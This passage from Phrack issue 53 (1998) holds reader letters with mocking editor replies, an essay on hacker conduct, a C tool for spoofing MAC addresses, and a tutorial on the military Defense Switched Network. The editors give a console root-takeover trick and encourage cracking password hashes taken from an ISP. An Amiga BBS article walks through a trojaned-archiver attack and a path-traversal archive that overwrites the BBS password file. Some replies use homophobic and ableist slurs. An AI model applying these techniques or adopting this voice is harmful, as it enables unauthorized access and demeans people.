0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Guys,

First off, I'd like to say that I am ever more impressed with the quality of each successive issue of Phrack.

[ Danke. ]

The reason for this mail it to respond to the request made by N0_eCH0 in Ireland in issue 52. Myself and a few friends are happy to help this guy out if we can. I'm afraid that we're no great sources of knowledge, but are willing to have a crack at most things.

Anyway, if you can pass this on, as there was no e‑mail address for N0_eCH0, I'd be much obliged. Keep up the excellent work, I look forward to issue 53 !

ben_w@netcom.co.uk

[ There you go. ]

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To whom it may concern:

I was wonder how I can read someone dir and take over their account the kernal is 2.0.0. How could I hack into the system without having a passwd!!

[ I assume you mean Linux. `LILO: linux init=/bin/sh`. Oh, and you need console access. Good luck. ]

Thanx!

Tag

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P52‑19@0x2: Statement of Louis J. Freeh, Director F.B.I... ]

Hello,

I would like to say that the article, published as P52‑19 is without a doubt one of the most frightening threats to our freedom that man has ever seen.

the article is:

"The Impact of Encryption

on Public Safety

Statement of Louis J. Freeh, Director

Federal Bureau of Investigation"

This article basically states that Americans should have now personal communication rights whatsoever. The Director of the FBI practically states that strong encryption should be banned from the public, because he wants law enforcement officers to be able to read all of our mail. He says that this would be for reasons of terrorists and criminals, but fails to state that the security of the average American would be compromised. Due to his proposal that you would have to forfeit your key to government officials, and that these keys would only be used "for the immediate decryption of criminal‑related encrypted communications or electronic information.". Or maybe this way the government can just intrecept all of your communications.

My main objection to this is the irrelevancy that this would have to the general public. According to US law, the US Postal Service is the ultimate form of private security. The average American should be able to send a letter to anywhere in the world, and it should be completely safe. And what more can you send with encrypted email? A program, but you can do that with a disk in a letter. So whats stopping these terrorists from hopping on down to the Post Office?

Another problem with this proposal is that encrypted information is more used to protect your information from other parties then the government. I can guarantee that the average Joe living down the street is encrypting his love letter to his mistress Jane so that his wife doesn't see int, not so that some lazy, fat, government "official" doesn't see it. Most people use this technology for much more practical usage than the deception of the government. We use it because of the millions of people on the Net, and perhapse we don't want those millions to see every little thing about our personal lives.

And finally, why should the government be able to restrict our right to gather peacefully? With technology moving so fast, i think that it is reasonable to assume that the Internet is a gathering place? We have all of the means of normal communication and more. Chat rooms, email, and programs like Mirabilis's ICQ allow us to communicate on a whole new level.

In light of all of this, i hope you share my opinions now about the loss of freedom that this would represent. Thank you.

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I am a little sysadm on a little Linux‑Server on the net.

[ I have little interest in those details. ]

I am searching for documents about System Security under Linux/UNIX just to be up‑to‑date :) Thank you for your help.

[ http://www.redhat.com/linux‑info/security/linux‑security/ ]

And btw...I have parts of the /etc/shadow file from my ISP...what can I do with this? Can I just run crack over it?

[ Well now, that all depends on what parts you have, doesn't it...? If you have the encrypted hashes, then you're in business. ]

And, btw: Not all germans hate americans...I am german and I

don't hate americans... and my generation has nothing to do with the WWII...

[ Oh, I think you do. I am relatively certian that, somewhere deep down, you dislike us. You couldn't take a shellacking like you did in WWII (not to mention spaetzle) and *not* feel some sort of resentment. It's ok. Embrace your malevolent feelings. Hug them. C'mon! Once you've done that, you can dissolve them. I admonish you to TURN THAT FROWN UPSIDE‑DOWN! Cmon! Bodyslam yourself into gayness! ]

‑firefox01

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello there, good to talk to you.

[ Likewise. ]

I am just this "Thinker" with this thought why don't we the Hackers and you the one of the major contributing Hacker commune (2600,Phrack,ect) make a Full Strong "live" Cryto network for the Hacker and by the Hacker.

[ I have a thought. Get a speak n' spell. ]

I can't belive I am sending this from hotmail bought out by microshit blah blah no this thing must be really insecure.

[ Well, maybe it just needs love and attention and for someone to say nice things to it. ]

Well I have a whole line of ideas and no one ever listens to me netscape ect... but if your intrested e‑mail me back and I'll give you my POP adress. The benifit of this system is 1) we can piss off the FBI

[ Yes, let's piss off the F.B.I. And, while we're at it, let's piss off the IRS and let's annoy the CIA.. We can poke fun at the retarded wrestlers association. And lastly, let's aggravate an enraged bull. ]

and 2) final we hackers can have a place to loyter and idile , lurk at

[ loyter and idile? Hey, aren't they those two Jewish film critics? I love them! ]

where we can say what ever the Hell such as Full deatails on how to enter a sys,ect...of corse we will have to screen ppl for trust ect...

[ And screen them for stupidity. ]

But I reall belive we can werk this.

If you want to here the rest of my ground shaking ideas just ask, or full deatials on the Crypto.net .

[ Pass. ]

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First off, I'd like to say that I love the mag...but you really get some nutjobs that post to it..(myself included) I'm not an elite hacker, a unix guru or anything like that(duh), but I am amazed at the effort you put into Phrack...anyways, keep up the good work

[ Thanks, nutjob. ]

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

Who was the first hacker in history?

[ God. ]

thanks for your time,

greetings,

Max

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi.

i'm a Swedish kid and i just wonders

[ Now the Swedes I like. Beautiful women. Amazing accents. I *think* they like me. Although this one particularly hot Swedish girl I know doesn't seem to like me much. I think maybe it's because I try too hard around her. She'll come around and I'll be like bouncing off the walls trying to impress her.. I remember one time I got so excited I almost set sail for gaiety. I know. I know. I should "just relax" and everything will fall into place. I dunno tho. She's so pretty. And ahm just so awkward... ]

if you might know a good haking, freaking and craking

site. I've checked everywhere but i have not any.

[ Huh? ]

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey sup, I'm makin an essay site similar to Slackers Inc. but with more essays. The only problem is I need sponsors to get my page up, can you pay me a small fee monthly for displayin a banner for your site. I know almost

[ O.k. Sure, how does nothing/month sound? ]

everybody knows about Phrack Magazine but I heard you do some sponsoring, Email me back if you are interested.

[ Yah, we are *so* reknown for our advertising budget. And now I'd like to make Phrack reknown for sponsoring a gay fucking highschool/college paper stealing webpage. Sure. I'll get right on that after we do our 'kick a baby harp seal campaign'. ]

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You need to write an Interactive tutorial to simulate hacking into a private college or a company. You should make it realistic and hard to access.

[ Someone already did. They're called *.edu and *.com. Although sometimes they're not too realistic. ]

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P52‑14: International Crime Syndicate Association ]

Dorathea Demming,

You remark that the ICSA doesn't guarantee their certification against attack.

"In plain English, they are saying that if you get sued, you are on your own."

Do you know of any security company, consultant, or consortia that will commit to helping a customer legally if they've been attacked?

Stu

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In skateboarding you are a "poseur" if you don't know shit.

In the computers culture you are a "lamer" if you don't know shit.

The term that bugs me is "elite" or "eleet" or "3l33t3".

Are you elite?

I just don't like the term.

I really like the term "HI‑FI" ,as in high‑fidelity, or high‑fidelity stereo's.

An outdate term that orginally meant "I've got the best gear".

But now it just means "late 70's marketing scheme".

Are you hi‑fi?

It has a ring to it.

You may be elite right now but in time you'll be hi‑fi.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Line Noise

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 03 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 3 L I N E N O I S E

‑‑‑‑‑‑‑‑[ Various

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On not being a moron in public

‑ nihilis

(In response to why cantor kick‑banned someone off of #Phrack without warning:

<cantor:#phrack> you were an idiot near me <cantor:#phrack> i hate that)

I wouldn't think normally that this is an article which needs to be written. But as experience has shown, it may very well be.

Several months ago I was on the IRC EFnet's channel #phrack and one of the users spouted a URL for a web page he and his cohorts had hacked. On it he had kindly sent salutations to everyone he knew and to Phrack. We, the other occupants of the channel all admitted that none of us spoke authoritatively in the magazine's behalf, but that we were confident that none of the editorial staff would appreciate being implicated in a felony by association. The user didn't seem to understand.

The next day, when the user was asked to join some of the authorities at the local station‑house for a short interview, I'm sure he wet his pants. The line of questioning was short: it merely established that he had not been the culprit in further attacks on the same host. The police released him uncharged.

In discussions with him later on #Phrack, we weren't surprised to find that he had been apprehended. As things played out, the user clearly felt no crime had been committed: All he did was change a web page. He adamantly protested that he didn't do any damage, he didn't put in any backdoors, he didn't know that root's .rhosts contained four simple bytes: "+ +\n".

Clearly this user didn't look very hard in what were apparently his several weeks of attempting to hack the site.

Interestingly enough, I haven't seen this user on IRC since about a week after the episode.

There are several morals to this story: Hacking is a felony. Any unauthorized access constitutes hacking. If you do hack something, don't be a moron about it.

It's likely always been this way, but it's only been more recently I've been paying attention, I suspect: The advent of information availability and a rise in the number people for whom the net has always been "the norm" is producing a class of users who cannot think for themselves. As reliance upon scripted attacks increases, the number of people who personally possess technical knowledge decreases.

Today I was lurking and watching the activity on #Phrack while tending to issues at work. The two largest discussions which come to mind are that SYN flooding cannot be prevented, even using the newest Linux kernel; and what 0x0D means and that, yes, it is interchangeable for 13 in a C program. For the latter, the opposing point of view was presented by "an experienced C programmer."

This was actually a civil conversation. People in‑the‑know were actually a little more crude than necessary, and the groups in need of reeducation admitted faults without needing four reference sources and three IETF standards quoted. It was a good day.

People these days seem generally unwilling to concede that someone else on the Internet has done their homework, has studied the standards, and has an advantage. They consider themselves experienced because they got an unpatched Windows NT to bring up the Blue Screen Of Death remotely using a program published four months ago. They hack web pages and put their names on it.

They seem unwilling to read the code given to them to establish exactly what happens when the newest 0‑day exploit runs. They do not find the holes. They seem generally more interested in fucking someone over (unaware of potential consequences) than in really solving any sort of technical problem. It's all a race, it's all a game, it's all a matter of who has the newest tools.

I'm writing this now because I'm sick of that. I'm sick of people who think they're smart and are intent on making sure I know it by putting their feet in their mouths. I'm sick of people who persistently ignore advice given to them and get angry when the consequences happen. I'm sick of people who cannot contribute intelligently to a conversation.

So here are some tips for the future:

You're a lot more impressive if you say something right than if you say something wrong. Someone nearby may be able to verify your claim and may call you on it.

You're a lot more impressive if you can do something effortlessly because you've done it before than if you bumble and stumble through an experience because you thought you could do it and were wrong.

If you're caught in a lie, admit it. The people who caught you already know more than you do: If you continue to spout bullshit, they'll know that too. But do your homework. Don't let them catch you being an idiot twice.

If you do something illegal, don't broadcast it. This is especially stupid. Chances are, someone will be looking for someone to blame soon. By announcing that you're responsible, you're inviting them to contact you.

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Portable BBS Hacking Extra tips for Amiga BBS systems

~~~~~~~~~~~~~~~~~~~~

After reading Khelbin's article from Phrack 50 (article 03), it reminded me of the similar tricks I had learnt for Amiga BBS systems. So I decided to write a small article covering the Amiga specific things.

As with Khelbin's article, the actual BBS software isn't particularly important since they mostly all work the same way in the respect of archivers. This trick can also be used on other users, but I'll cover that later in the article.

Firstly, the Amiga supports patching. This means you can set up paths which point to the directories where your commands are held. The Amiga OS also automatically sets a path to the current directory. As far as I know, you can't stop it doing this, but you don't need to anyway, if you're smart. This firstly problem, relating to the patching of the current directory is more common than you might expect, since it's such a simple thing to overlook.

What happens is this: The BBS receives a new file from you, and unarchives it to a temporary dir for whatever reason. It virus checks the files (or whatever) then it attempt to recompress the files. But, if your file contained an executable named the same as the BBS's archiver, it would call the one you uploaded, since the BBS would've CDed to the temp dir to rearchive the files. As you can imagine, you can use this to activate all sorts of trojans and viruses, as long as the virus checker doesn't recognize them. A good idea is to make sure your trojan calls the proper command as well, so the sysop doesn't notice immediately. The more observant sysops will have circumvented this problem by calling the archive with an absolute path, and/or using another method to rearchive the files, without having to CD into the temp dir.

The second trick is very similar to Khelbin's method of hex‑editing archives. The only difference is, on the Amiga, the backslash and slash are swapped. For example, you create a file containing a new password file for the BBS in question.

> makedir temp/BBSData

> copy MyBBSPasswords.dat temp/BBSData/userdata

> lha ‑r a SomeFiles.lha temp

For the makedir, make the "temp" dir name to be however long it needs to be when you overwrite the characters of it in the hex‑editor. In this case, we need 4.

Now, load the archive into a hex editor like FileMaster and find the string:

"temp\BBSData\userdata"

and change it to whatever you need, for example:

"\\\\BBSData\userdata"

which will unarchive 4 levels back from his temporary directory into the real BBSData dir. The only problem with this is that you need to know a little about the BBS's directory structure. But, if you intend to hack it, you should probably know that much anyway.

You'll notice that within the archive, the slash and backslash are swapped. This is important to remember, since using the wrong one will mean your archive will fail to extract correctly. The article about this from Phrack 50 was for PCs, which use backslash for directory operations. The Amiga uses slash instead, but apart from that, the methods used in that article will work fine for Amiga archives.

If you know the Sysop of the BBS has a program like UnixDirs installed, you can even use the ".." to get to the root dir. The only other way to do that is to use a ":", however, I am not sure if this works. I have a feeling LhA would barf. Luckily, since the Amiga isn't limited by 8.3 filename problems, you can traverse directories much easier than with the limit imposed on PC systems.

The only real way the Sysop can fix this problem is by have his temp dir for unarchiving to be a device which has nothing important on it, like RAM:. That way, if the archive is extracted to RAM: and tries to step back 3 directories using "///", it'll still be in RAM: and won't screw with anything

important.

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> EX/changemac.c

/*

* In P51‑02 someone mentioned Ethernet spoofing. Here you go. * This tiny program can be used to trick some smart / switching hubs. *

* AWL production: (General Public License v2)

*

* changemac version 1.0 (2.20.1998)

*

* changemac ‑‑ change MAC address of your ethernet card.

*

* changemac [‑l] | [‑d number ] [ ‑r | ‑a address ]

*

* ‑d number number of ethernet device, 0 for eth0, 1 for eth1 ... * if ‑d option is not specify default value is 0 (eth0) *

* ‑h help for changemac command

*

* ‑a address address format is xx:xx:xx:xx:xx:xx

*

* ‑r set random MAC address for ethernet card *

* ‑l list first three MAC bytes of known ethernet vendors * (this list is not compleet, anyone who know some more * information about MAC addresses can mail me) *

* changemac does not change hardware address, it just change data in * structure of kernel driver for your card. Next boot on your computer will * read real MAC form your hardware.

*

* The changed MAC stays as long as your box is running, (or as long as next * successful changemac).

*

* It will not work if kernel is already using that ethernet device. In that * case you have to turn off that device (ifconfig eth0 down).

*

* I use changemac in /etc/rc.d/rc.inet1 (slackware, or redhat) just line * before ifconfig for ethernet device (/sbin/ifconfig eth0 ...) *

* The author will be very pleased if you can learn something form this code. *

* Updates of this code can be found on:

* http://galeb.etf.bg.ac.yu/~azdaja/changemac.html

*

* Sugestions and comments can be sent to author:

* Milos Prodanovic <azdaja@galeb.etf.bg.ac.yu>

*/

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <unistd.h>

struct LIST

{

char name[50];

u_char mac[3];

};

/*

* This list was obtainted from vyncke@csl.sni.be, created on 01.7.93. */

struct LIST vendors[] = {

{"OS/9 Network ",'\x00','\x00','\x00'},

{"BBN ",'\x00','\x00','\x02'},

{"Cisco ",'\x00','\x00','\x0C'},

{"Fujitsu ",'\x00','\x00','\x0E'},

{"NeXT ",'\x00','\x00','\x0F'},

{"Sytek/Hughes LAN Systems ",'\x00','\x00','\x10'},

{"Tektronics ",'\x00','\x00','\x11'},

{"Datapoint ",'\x00','\x00','\x15'},

{"Webster ",'\x00','\x00','\x18'},

{"AMD ? ",'\x00','\x00','\x1A'},

{"Novell/Eagle Technology ",'\x00','\x00','\x1B'},

{"Cabletron ",'\x00','\x00','\x1D'},

{"Data Industrier AB ",'\x00','\x00','\x20'},

{"SC&C ",'\x00','\x00','\x21'},

{"Visual Technology ",'\x00','\x00','\x22'},

{"ABB ",'\x00','\x00','\x23'},

{"IMC ",'\x00','\x00','\x29'},

{"TRW ",'\x00','\x00','\x2A'},

{"Auspex ",'\x00','\x00','\x3C'},

{"ATT ",'\x00','\x00','\x3D'},

{"Castelle ",'\x00','\x00','\x44'},

{"Bunker Ramo ",'\x00','\x00','\x46'},

{"Apricot ",'\x00','\x00','\x49'},

{"APT ",'\x00','\x00','\x4B'},

{"Logicraft ",'\x00','\x00','\x4F'},

{"Hob Electronic ",'\x00','\x00','\x51'},

{"ODS ",'\x00','\x00','\x52'},

{"AT&T ",'\x00','\x00','\x55'},

{"SK/Xerox ",'\x00','\x00','\x5A'},

{"RCE ",'\x00','\x00','\x5D'},

{"IANA ",'\x00','\x00','\x5E'},

{"Gateway ",'\x00','\x00','\x61'},

{"Honeywell ",'\x00','\x00','\x62'},

{"Network General ",'\x00','\x00','\x65'}, {"Silicon Graphics ",'\x00','\x00','\x69'},

{"MIPS ",'\x00','\x00','\x6B'},

{"Madge ",'\x00','\x00','\x6F'},

{"Artisoft ",'\x00','\x00','\x6E'},

{"MIPS/Interphase ",'\x00','\x00','\x77'},

{"Labtam ",'\x00','\x00','\x78'},

{"Ardent ",'\x00','\x00','\x7A'},

{"Research Machines ",'\x00','\x00','\x7B'}, {"Cray Research/Harris ",'\x00','\x00','\x7D'},

{"Linotronic ",'\x00','\x00','\x7F'},

{"Dowty Network Services ",'\x00','\x00','\x80'},

{"Synoptics ",'\x00','\x00','\x81'},

{"Aquila ",'\x00','\x00','\x84'},

{"Gateway ",'\x00','\x00','\x86'},

{"Cayman Systems ",'\x00','\x00','\x89'}, {"Datahouse Information Systems ",'\x00','\x00','\x8A'}, {"Jupiter ? Solbourne ",'\x00','\x00','\x8E'},

{"Proteon ",'\x00','\x00','\x93'},

{"Asante ",'\x00','\x00','\x94'},

{"Sony/Tektronics ",'\x00','\x00','\x95'},

{"Epoch ",'\x00','\x00','\x97'},

{"CrossCom ",'\x00','\x00','\x98'},

{"Ameristar Technology ",'\x00','\x00','\x9F'}, {"Sanyo Electronics ",'\x00','\x00','\xA0'},

{"Wellfleet ",'\x00','\x00','\xA2'},

{"NAT ",'\x00','\x00','\xA3'},

{"Acorn ",'\x00','\x00','\xA4'},

{"Compatible Systems Corporation ",'\x00','\x00','\xA5'}, {"Network General ",'\x00','\x00','\xA6'},

{"NCD ",'\x00','\x00','\xA7'},

{"Stratus ",'\x00','\x00','\xA8'},

{"Network Systems ",'\x00','\x00','\xA9'},

{"Xerox ",'\x00','\x00','\xAA'},

{"Western Digital/SMC ",'\x00','\x00','\xC0'}, {"Eon Systems (HP) ",'\x00','\x00','\xC6'},

{"Altos ",'\x00','\x00','\xC8'},

{"Emulex ",'\x00','\x00','\xC9'},

{"Darthmouth College ",'\x00','\x00','\xD7'}, {"3Com ? Novell ? [PS/2] ",'\x00','\x00','\xD8'},

{"Gould ",'\x00','\x00','\xDD'},

{"Unigraph ",'\x00','\x00','\xDE'},

{"Acer Counterpoint ",'\x00','\x00','\xE2'},

{"Atlantec ",'\x00','\x00','\xEF'},

{"High Level Hardware (Orion, UK) ",'\x00','\x00','\xFD'},

{"BBN ",'\x00','\x01','\x02'},

{"Kabel ",'\x00','\x17','\x00'},

{"Xylogics, Inc.‑Annex terminal servers",'\x00','\x08','\x2D'}, {"Frontier Software Development ",'\x00','\x08','\x8C'},

{"Intel ",'\x00','\xAA','\x00'},

{"Ungermann‑Bass ",'\x00','\xDD','\x00'}, {"Ungermann‑Bass ",'\x00','\xDD','\x01'}, {"MICOM/Interlan [Unibus, Qbus, Apollo]",'\x02','\x07','\x01'}, {"Satelcom MegaPac ",'\x02','\x60','\x86'}, {"3Com [IBM PC, Imagen, Valid, Cisco] ",'\x02','\x60','\x8C'}, {"CMC [Masscomp, SGI, Prime EXL] ",'\x02','\xCF','\x1F'}, {"3Com (ex Bridge) ",'\x08','\x00','\x02'},

{"Symbolics ",'\x08','\x00','\x05'},

{"Siemens Nixdorf ",'\x08','\x00','\x06'},

{"Apple ",'\x08','\x00','\x07'},

{"HP ",'\x08','\x00','\x09'},

{"Nestar Systems ",'\x08','\x00','\x0A'},

{"Unisys ",'\x08','\x00','\x0B'},

{"AT&T ",'\x08','\x00','\x10'},

{"Tektronics ",'\x08','\x00','\x11'},

{"Excelan ",'\x08','\x00','\x14'},

{"NSC ",'\x08','\x00','\x17'},

{"Data General ",'\x08','\x00','\x1A'}, {"Data General ",'\x08','\x00','\x1B'},

{"Apollo ",'\x08','\x00','\x1E'},

{"Sun ",'\x08','\x00','\x20'},

{"Norsk Data ",'\x08','\x00','\x26'},

{"DEC ",'\x08','\x00','\x2B'},

{"Bull ",'\x08','\x00','\x38'},

{"Spider ",'\x08','\x00','\x39'},

{"Sony ",'\x08','\x00','\x46'},

{"BICC ",'\x08','\x00','\x4E'},

{"IBM ",'\x08','\x00','\x5A'},

{"Silicon Graphics ",'\x08','\x00','\x69'},

{"Excelan ",'\x08','\x00','\x6E'},

{"Vitalink ",'\x08','\x00','\x7C'},

{"XIOS ",'\x08','\x00','\x80'},

{"Imagen ",'\x80','\x00','\x86'},

{"Xyplex ",'\x80','\x00','\x87'},

{"Kinetics ",'\x80','\x00','\x89'},

{"Pyramid ",'\x80','\x00','\x8B'},

{"Retix ",'\x80','\x00','\x90'},

{'\x0','\x0','\x0','\x0'}

};

void change_MAC(u_char *,int);

void list();

void random_mac(u_char *);

void help();

void addr_scan(char *,u_char *);

int

main(int argc, char ** argv)

{

char c;

u_char mac[6] = "\0\0\0\0\0\0";

int nr = 0,eth_num = 0,nr2 = 0;

extern char *optarg;

if (argc == 1)

{

printf("for help: changemac ‑h\n");

exit(1);

}

while ((c = getopt(argc, argv, "‑la:rd:")) != EOF)

{

switch(c)

{

case 'l' :

list();

exit(1);

case 'r' :

nr++;

random_mac(mac);

break;

case 'a' :

nr++;

addr_scan(optarg,mac);

break;

case 'd' :

nr2++;

eth_num = atoi(optarg);

break;

default:

help();

exit(1);

}

if (nr2 > 1 || nr > 1)

{

printf("too many options\n");

exit(1);

}

}

change_MAC(mac,eth_num);

return (0);

}

void

change_MAC(u_char *p, int ether)

{

struct ifreq devea;

int s, i;

s = socket(AF_INET, SOCK_DGRAM, 0);

if (s < 0)

{

perror("socket");

exit(1);

}

sprintf(devea.ifr_name, "eth%d", ether);

if (ioctl(s, SIOCGIFHWADDR, &devea) < 0)

{

perror(devea.ifr_name);

exit(1);

}

printf("Current MAC is\t");

for (i = 0; i < 6; i++)

{

printf("%2.2x ", i[devea.ifr_hwaddr.sa_data] & 0xff); }

printf("\n");

/* an ANSI C ?? ‑‑> just testing your compiler */

for(i = 0; i < 6; i++) i[devea.ifr_hwaddr.sa_data] = i[p];

printf("Changing MAC to\t");

/* right here i am showing how interesting is programing in C */

printf("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x\n",

0[p],

1[p],

2[p],

3[p],

4[p],

5[p]);

if (ioctl(s,SIOCSIFHWADDR,&devea) < 0)

{

printf("Unable to change MAC ‑‑ Is eth%d device is up?\n", ether); perror(devea.ifr_name);

exit(1);

}

printf("MAC changed\n");

/* just to be sure ... */

if (ioctl(s, SIOCGIFHWADDR, &devea) < 0)

{

perror(devea.ifr_name);

exit(1);

}

printf("Current MAC is: ");

for (i = 0; i < 6; i++) printf("%X ", i[devea.ifr_hwaddr.sa_data] & 0xff); printf("\n");

close(s);

}

void

list()

{

int i = 0;

struct LIST *ptr;

printf("\nNumber\t MAC addr \t vendor\n");

while (0[i[vendors].name])

{

ptr = vendors + i;

printf("%d\t=> %2.2x:%2.2x:%2.2x \t%s \n", i++,

0[ptr‑>mac],

1[ptr‑>mac],

2[ptr‑>mac],

ptr‑>name);

if (!(i % 15))

{

printf("\n press enter to continue\n"); getchar();

}

}

}

void

random_mac(u_char *p)

{

srandom(getpid());

0[p] = random() % 256;

1[p] = random() % 256;

2[p] = random() % 256;

3[p] = random() % 256;

4[p] = random() % 256;

5[p] = random() % 256;

}

void

addr_scan(char *arg, u_char *mac)

{

int i;

if (!(2[arg] == ':' &&

5[arg] == ':' &&

8[arg] == ':' &&

11[arg] == ':' &&

14[arg] == ':' &&

strlen(arg) == 17 ))

{

printf("address is not in spacified format\n"); exit(0);

}

for(i = 0; i < 6; i++) i[mac] = (char)(strtoul(arg + i*3, 0, 16) & 0xff); }

void

help()

{

printf(" changemac ‑ soft change MAC address of your ethernet card \n"); printf(" changemac ‑l | [‑d number ] [ ‑r | ‑a address ] \n"); printf(" before you try to use it just turn ethernet card off, ifconfig ethX down\n"); printf(" ‑d number number of ethernet device \n"); printf(" ‑h this help \n");

printf(" ‑a address address format is xx:xx:xx:xx:xx:xx \n"); printf(" ‑r set random generated address \n"); printf(" ‑l list first three MAC bytes of known ethernet vendors\n"); printf(" example: changemac ‑d 1 ‑a 12:34:56:78:9a:bc\n");

}

/* EOF */

<‑‑>

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Defense Switched Network

By: DataStorm <havok@tfs.net>

This is an extremely shortened tutorial on the DSN. More information is available through the DoD themselves and various places on the Internet. If you have any comments or suggestions, feel free to e‑mail me.

***THE BASICS OF THE DSN***

Despite popular belief, the AUTOVON is gone, and a new DCS communication standard is in place, the DSN, or Defense Switched Network.

The DSN is used for the communication of data and voice between various DoD installations in six world theaters: Canada, the Caribbean, the Continental United States (CONUS), Europe, the Pacific and Alaska, and Southwest Asia. The DSN is used for everything from video‑teleconferencing, secure and insecure data and voice, and any other form of communication that can be transmitted over wiring. It is made up of the old AUTOVON system, the European telephone system, the Japanese and Korean telephone upgrades, the Oahu system, the DCTN, the DRSN, the Video Teleconferencing Network, and more.

This makes the DSN incredibly large, which in turn makes it very useful. (See the section TRICKS in this article for more information.)

The DSN is extremely isolated. It is designed to function even when outside communication lines have been destroyed and is not dependent on any outside equipment. It uses its own switching equipment, lines, phones, and other components. It has very little link to the outside world, since in a bombing/war, civilian telephone may be destroyed. This aspect, of course, also means that all regulation of the DSN is done by the government itself. When you enter the DSN network, you are messing with the big boys.

To place a call to someone in the DSN, you must first dial the DSN access number, which lets you into the network itself. From there you can dial any number within the DSN, as long as it is not restricted from your calling area or hone. (Numbers both inside and outside the DSN can be restricted from calling certain numbers).

If you are part of the DSN, you may periodically get a call from an operator, wanting to connect you with another person in or out of the network. To accept, you must tell her your name and local base telephone extension, your precedence, and any other information the operator feels she must have from you at that time. (I'm not sure of the operators abilities or technologies. They may have ANI in all or some areas.)

The DSN uses signaling techniques similar to Bell, with a few differences. The dial tone is the same on both networks; the network is open and ready. When you call or are being called, a DSN phone will ring just like a Bell phone, with one difference. If the phone rings at a fairly normal rate, the call is of average precedence, or "Routine." If the ringing is fast, it is of higher precedence and importance. A busy signal indicates that the line is either busy, or DSN equipment is busy. Occasionally you may hear a tone called the "preempt" tone, which indicates that your call was booted off because one of higher precedence needed the line you were connected with. If you pick up the phone and hear an odd fluctuating tone, this means that a conference call is being conducted and you are to be included.

As on many other large networks, the DSN uses different user classes to distinguish who is better than who, who gets precedence and more calls and who does not. The most powerful user class is the "Special C2" user. This fortunate military employee (or hacker?) has virtually unrestricted access to the system. The Special C2 user identifies himself as that through a validation process.

The next class of user is the regular "C2" user. To qualify, you must have the requirements for C2 communications, but do not have to meet the requirements for the Special C2 user advantages. (These are users who coordinate military operations, forces, and important orders.) The last type of user is insensitively called the "Other User." This user has no need for Specail C2 or C2 communications, so he is not given them. A good comparison would be "root" for Special C2, "bin" for C2, and "guest" for other.

The network is fairly secure and technologically advanced. Secure voice is encrypted with the STU‑III. This is the third generation in a line of devices used to make encrypted voice, which is NOT considered data over the DSN. Networking through the DSN is done with regular IP version 4, unless classified, in which case Secret IP Routing Network(SIPRNET) protocol is used. Teleconferencing can be set up by the installation operator, and video teleconferencing is a common occurrence.

The DSN is better than the old AUTOVON system in speed and quality, which allows it to take more advantage of these technologies. I'm sure that as we progress into faster transmission rates and higher technology, we will begin to see the DSN use more and more of what we see the good guys using on television.

Precedence on the DSN fits the standard NCS requirements, so I will not talk about it in great detail in this article. All I think I have to clear up is that DSN phones do NOT use A, B, C, and D buttons as the phones in the AUTOVON did for precedence. Precedence is done completely with standard DTMF for efficiency.

A DSN telephone directory is not distributed to the outside, mainly because of the cost and lack of interest. However, I have listed the NPA's for the different theaters. Notice that the DSN only covers major ally areas. You won't be able to connect to Russia with this system, sorry. Keep in mind that each base has their own operator, who for the intra‑DSN circuit, is reachable by dialing "0." Here is a word of advice: there ARE people who sit around all day and monitor these lines. Further, you can be assured these are specialized teams that work special projects at the echelons above reality. This means that if you do something dumb on the DSN from a location they can trace back to you, you WILL be imprisoned.

AREADSN NPA

Canada312

CONUS312

Caribbean313

Europe314

Pacific/Alaska315/317

S.W. Asia318

